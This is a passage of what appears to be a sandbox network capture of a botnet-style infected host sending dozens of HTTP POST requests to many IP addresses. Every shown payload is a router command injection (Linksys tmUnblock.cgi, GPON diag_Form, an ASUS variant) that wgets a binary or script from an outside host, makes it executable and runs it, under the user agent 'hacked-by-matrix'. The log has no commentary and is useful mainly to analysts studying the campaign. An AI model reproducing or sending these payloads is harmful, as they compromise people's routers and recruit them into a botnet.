ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:27.356543064 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.23	48242	172.65.200.184	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:27.043679953 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.23	34006	172.87.194.105	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:27.086788893 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.23	40426	172.87.202.78	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:27.097070932 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.23	47436	172.65.114.49	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:27.426449060 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.23	59868	79.99.200.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263493061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.23	49146	118.214.42.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263501883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.23	47124	37.37.18.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263530016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.23	46708	5.214.1.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263566971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.23	44164	212.109.66.225	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263572931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.23	40032	109.192.129.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263582945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.23	51594	94.92.107.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263596058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.23	54476	5.124.127.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263618946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.23	51746	210.114.103.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263660908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.23	48536	94.212.73.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263706923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.23	50776	2.198.93.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263720036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.23	34816	178.79.150.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263720036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.23	41552	212.119.169.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263726950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.23	51122	94.112.105.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263736010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.23	50460	5.173.190.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263811111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.23	39868	212.164.100.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263811111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.23	37114	42.118.80.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263816118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.23	53818	37.187.87.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263840914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.23	53094	210.150.142.214	443

Timestamp	Bytes transferred	Direction	Data
